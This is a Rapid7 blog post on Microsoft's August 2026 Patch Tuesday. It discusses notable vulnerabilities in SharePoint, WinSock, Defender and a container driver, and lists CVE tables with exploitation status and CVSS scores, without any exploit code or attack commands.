Normal view

Received — 12 August 2026 ⏭ Rapid7 Blog

Patch Tuesday - August 2026 11 August 2026 at 17:10

Patch Tuesday - August 2026

11 August 2026 at 17:10

Microsoft is publishing 421 vulnerabilities on August 2026 Patch Tuesday, including 236 vulnerabilities in Windows. This is lower volume than last month’s record-breaking behemoth, but still one of the largest Patch Tuesday totals ever. There is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for one of the vulnerabilities published today, as well as public disclosure for two others, although the Notable CVEs section of the Security Update Guide omits one of these. As usual, browser vulns are not included in the Patch Tuesday count above, but unusually, Microsoft does not appear to have published any desktop browser security patches so far this month.

SharePoint: critical RCE chain by Rapid7

Today sees the publication of CVE-2026-63520, a high-severity remote code execution in Microsoft SharePoint. Discovered by Rapid7 Senior Principal Security Researcher Stephen Fewer, and published today in coordination with Microsoft; this vulnerability is the second in a pair of exploits which, when chained together, comprise a critical unauthenticated remote code execution vulnerability in a vulnerable SharePoint server. Patches are available for SharePoint Server Subscription Edition, 2019, and 2016. Alongside today’s coordinated disclosure of CVE-2026-63520, Rapid7 has now published a detailed technical analysis and proof-of-concept for CVE-2026-55040, the first vulnerability in the chain.

AFD for Winsock: zero-day EoP

Rapid7 has previously discussed the Windows Ancillary Function Driver for WinSock, and today it returns to center stage with another exploited-in-the-wild elevation-of-privilege vulnerability. Successful exploitation requires winning a race condition, which increases the difficulty of producing a stable exploit. This also helps keep the CVSS v3 base score down to 7.0, along with a Microsoft proprietary severity ranking of merely important, rather than critical. However, with no user interaction required, and a prize of SYSTEM-level access, CVE-2026-68820 is just what the doctor ordered, if the doctor is based in Pyongyang and wants to steal your cryptocurrency. Microsoft credits CVE-2026-68820 to researchers at Check Point (misspelled “Checkpoint” on the advisory). CVE-2026-68820 isn’t yet listed on CISA KEV, but it will be soon.

What’s the opposite of coordinated disclosure?

This month’s entry in the ongoing saga of Microsoft vs. a pseudonymous security researcher with a clear dislike of Microsoft comes in the form of CVE-2026-62832, an elevation of privilege vulnerability in the Windows User Profile Service. Exploitation leads to administrator rights on the local asset, and is achieved via a specially crafted application, which is Microsoft corporate argot for exploit code. Between the public disclosure and the FAQ, which describes an authenticated attacker who has credentials for another account and loads another user’s registry hive, the advisory is a solid match for Nightmare Eclipse’s description of LegacyHive, which Rapid7 discussed last month.

Patch Tuesday watchers will have been wondering whether Nightmare Eclipse would continue the pattern of the past few months by dropping yet another zero-day vuln late on Patch Tuesday to maximize friction and inconvenience for Microsoft. Wonder no more, because the new entry on this growing list of headaches is ShieldBreak. Nightmare Eclipse describes ShieldBreak as a full patch bypass for RoguePlanet, a previous entry in the series which Microsoft patched as CVE-2026-50656 during July, a month after its public disclosure. Both vulnerabilities are therefore elevation-of-privilege to SYSTEM vulnerabilities in Defender.

Container isolation filesystem driver: isolation failure, tampering

CVE-2026-72971 describes a tampering vulnerability in the Windows Container Isolation FS Filter Driver (unionfs.sys), where abuse of a flaw in the vulnerable driver presumably allows an unauthorized attacker to overwrite certain files. Since this might include an action taken within a container leading to an unauthorized impact outside the container, it might be surprising that the advisory claims no scope change. Presumably Microsoft is leaning on the fact that the vulnerability is within a driver which operates entirely within a single security authority, i.e. kernel space, so there is only one impacted component and no scope change according to the CVSS v3 spec. Still, the low CVSS v3 base score of 5.5 probably isn’t telling the whole story in this case.

Vulnerabilities classed as tampering are somewhat rare in the Microsoft corpus, making up just a few dozen of the thousands of unique vulnerabilities which MSRC has ever patched or otherwise addressed. CVE-2026-72971 isn’t mentioned in the Notable CVEs section of the new slimline Security Update Guide. Should it be? Perhaps, because Microsoft is aware of public disclosure in this case, but then again the categorization as tampering means that Microsoft is not currently aware of a path to a more severe impact such as elevation of privilege or code execution. The advisory acknowledges a pair of pseudonymous reporters, who also receive credit on at least 40 other advisories over the past few months, across a wide variety of Windows components and Microsoft Office, including 11 critical vulnerabilities.

Edge: update slowdown?

Typically, Microsoft patches a fair few browser vulnerabilities between the start of each month and that month’s Patch Tuesday, but not this month. Conspicuous by its absence at the time of Patch Tuesday publication today was Microsoft Edge, which receives regular batches of patches as a downstream consumer of Google Chromium. At the moment of Patch Tuesday publication, the desktop incarnations of Edge last received security patches on July 31, 2026. Meanwhile, the Chrome Stable Channel received patches for 41 vulnerabilities on August 6, 2026. Anyone responsible for assets with Microsoft Edge installed will be relieved to know that patches for Edge eventually emerged a few hours later on Patch Tuesday itself, but five days is still a longer unpatched gap between Chrome and Edge than has been typical in the past.

Microsoft lifecycle update

August is typically a quieter month for Microsoft product lifecycle transitions, and this year continues that pattern. The next lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.

Summary charts

Summary tables

Vulnerabilities by Product Family

Apps vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-68821	Windows Package Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3

Azure vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70340	Azure CycleCloud Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65806	Azure CycleCloud Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-47299	Azure Monitor Agent Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65673	Microsoft Entra Connect Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9

Browser vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70339	Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability	Exploitation Unlikely	No	5.4
CVE-2026-19137	CVE-2026-19137 Use after free in WebGL	n/a	No
CVE-2026-19138	CVE-2026-19138 Heap buffer overflow in CrashReporting	n/a	No
CVE-2026-19139	CVE-2026-19139 Race in CredentialProvider	n/a	No
CVE-2026-19140	CVE-2026-19140 Use after free in GPU	n/a	No
CVE-2026-19142	CVE-2026-19142 Use after free in Views	n/a	No
CVE-2026-19144	CVE-2026-19144 Use after free in HTML	n/a	No
CVE-2026-19145	CVE-2026-19145 Use after free in Translate	n/a	No
CVE-2026-19146	CVE-2026-19146 Uninitialized Use in GPU	n/a	No
CVE-2026-19147	CVE-2026-19147 Use after free in Aura	n/a	No
CVE-2026-19148	CVE-2026-19148 Out of bounds write in GPU	n/a	No
CVE-2026-19149	CVE-2026-19149 Use after free in Aura	n/a	No
CVE-2026-19150	CVE-2026-19150 Inappropriate implementation in V8	n/a	No
CVE-2026-19151	CVE-2026-19151 Use after free in V8	n/a	No
CVE-2026-19152	CVE-2026-19152 Inappropriate implementation in Navigation	n/a	No
CVE-2026-19153	CVE-2026-19153 Insufficient validation of untrusted input in Workers	n/a	No
CVE-2026-19155	CVE-2026-19155 Use after free in Payments	n/a	No
CVE-2026-19156	CVE-2026-19156 Heap buffer overflow in Base	n/a	No
CVE-2026-19157	CVE-2026-19157 Out of bounds write in ANGLE	n/a	No
CVE-2026-19158	CVE-2026-19158 Use after free in Views	n/a	No
CVE-2026-19159	CVE-2026-19159 Use after free in Views	n/a	No
CVE-2026-19160	CVE-2026-19160 Uninitialized Use in Skia	n/a	No
CVE-2026-19161	CVE-2026-19161 Uninitialized Use in Skia	n/a	No
CVE-2026-19162	CVE-2026-19162 Out of bounds write in V8	n/a	No
CVE-2026-19163	CVE-2026-19163 Use after free in Media	n/a	No
CVE-2026-19164	CVE-2026-19164 Insufficient validation of untrusted input in Codecs	n/a	No
CVE-2026-19165	CVE-2026-19165 Use after free in Extensions	n/a	No
CVE-2026-19166	CVE-2026-19166 Use after free in Web Authentication	n/a	No
CVE-2026-19167	CVE-2026-19167 Integer overflow in GPU	n/a	No
CVE-2026-19168	CVE-2026-19168 Inappropriate implementation in V8	n/a	No
CVE-2026-19169	CVE-2026-19169 Insufficient validation of untrusted input in Contextual Tasks	n/a	No
CVE-2026-19170	CVE-2026-19170 Use after free in WebGL	n/a	No
CVE-2026-19171	CVE-2026-19171 Use after free in Media	n/a	No
CVE-2026-19172	CVE-2026-19172 Use after free in Views	n/a	No
CVE-2026-19173	CVE-2026-19173 Out of bounds write in Skia	n/a	No
CVE-2026-19174	CVE-2026-19174 Integer overflow in V8	n/a	No
CVE-2026-19175	CVE-2026-19175 Use after free in Payments	n/a	No
CVE-2026-19176	CVE-2026-19176 Use after free in Skia	n/a	No
CVE-2026-19177	CVE-2026-19177 Insufficient validation of untrusted input in UI	n/a	No

Developer Tools vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70354	.NET Core Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62901	.NET Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62909	.NET Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-58641	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62871	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62886	.NET Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62872	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-65810	.NET Framework Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62897	.NET Framework Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62900	.NET Information Disclosure Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-62902	.NET Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62899	.NET Security Feature Bypass Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65675	CoPilot Chat Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-70335	GitHub Copilot and Visual Studio Code Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70337	Microsoft PowerShell Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-70338	Microsoft PowerShell Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62898	Microsoft QUIC Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-59119	PowerShell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-58612	PowerShell Information Disclosure Vulnerability	Exploitation Less Likely	No	7.4
CVE-2026-47285	Visual Studio Code Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-54981	Visual Studio Code Python Extension Security Feature Bypass Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59113	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69320	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-70336	Visual Studio Code Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-58650	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69278	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69306	Visual Studio Code Security Feature Bypass Vulnerability	Exploitation Less Likely	No	8.2

ESU vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-59130	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-59131	AMD Zen Information Disclosure Vulnerability	Exploitation Less Likely	No	5.6
CVE-2026-62892	Capability Access Management Service (camsvc) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65786	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65787	Desktop Window Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59136	Microsoft COM for Windows Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62698	Microsoft Digest Authentication Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62912	Microsoft Exchange Server Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62910	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.2
CVE-2026-65813	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62911	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-62913	Microsoft Exchange Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62915	Microsoft Exchange Server Security Feature Bypass Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62914	Microsoft Exchange Server Spoofing Vulnerability	Exploitation Less Likely	No	7.3
CVE-2026-62784	Microsoft Local Security Authority Server (lsasrv) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-59138	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61345	Microsoft Remote Registry Service Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-66804	Microsoft Windows Cross Device Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-59135	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65814	Microsoft Windows Storage Port Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-6726	MITRE: CVE-2026-6726 TPM 2.0 Improper Object Slot Reuse	Exploitation Less Likely	No	7.9
CVE-2026-6727	MITRE: CVE-2026-6727 TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability	Exploitation Less Likely	No	5.9
CVE-2026-65671	Remote Access API Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-42976	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-59134	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61352	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-61363	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-62824	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-54113	Remote Procedure Call Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62781	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-59125	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-62746	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62743	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62786	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-61358	Windows Accessibility Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62818	Windows Active Directory Certificate Services (AD CS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-49179	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-61348	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-68820	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Detected	No	7.0
CVE-2026-70307	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-62908	Windows Backup Engine Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62713	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62771	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62728	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-61936	Windows Defender Firewall Service Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62893	Windows Deployment Services TFTP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-62747	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62710	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62755	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62812	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62761	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62776	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62803	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62807	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62718	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62715	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62716	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62742	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62745	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62720	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62714	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62814	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-62823	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-61923	Windows Display Enhancement Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70304	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-70330	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62769	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62778	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62881	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-62883	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65795	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65797	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-65799	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-65798	Windows DNS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-62787	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62817	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62878	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-61920	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.6
CVE-2026-61932	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62894	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62888	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62703	Windows DWM Core Library Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-59128	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-59126	Windows Event Logging Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-59137	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61347	Windows Event Logging Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-65662	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-61360	Windows GDI Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62890	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62709	Windows GDI+ Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62822	Windows GDI+ Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62702	Windows Graphics Kernel Denial of Service Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-61346	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62774	Windows Graphics Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-61928	Windows Hello Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62750	Windows HTTP Protocol Stack Tampering Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-61937	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62753	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62735	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62739	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62741	Windows HTTP.sys Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-61368	Windows Hyper-V Information Disclosure Vulnerability	Exploitation Less Likely	No	5.0
CVE-2026-62740	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-54984	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-59127	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61925	Windows Installer Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70344	Windows Installer Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70345	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70346	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70347	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62768	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65774	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65796	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-65679	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-65791	Windows iSCSI Target Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62754	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62773	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62752	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61930	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-65773	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-66799	Windows Key Guard Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62785	Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62795	Windows LDAP - Lightweight Directory Access Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62777	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-50472	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62738	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-62719	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62717	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-65790	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62707	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-56174	Windows Narrator Braille Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61366	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68819	Windows Network File System Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-62797	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62700	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62880	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61350	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-62796	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-65784	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62793	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62887	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-62696	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62751	Windows Projected File System Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62690	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62816	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62783	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-62758	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-61924	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61918	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61921	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-61356	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61367	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62692	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61364	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-61365	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62819	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-62757	Windows Schannel Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-62889	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-61355	Windows Sensor Data Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-62770	Windows Shell Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62782	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-65794	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62800	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-62790	Windows SMBv3 Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-59132	Windows TCP/IP Denial of Service Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-62792	Windows TCP/IP Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-61353	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-62723	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62724	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62748	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-62729	Windows Telephony Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
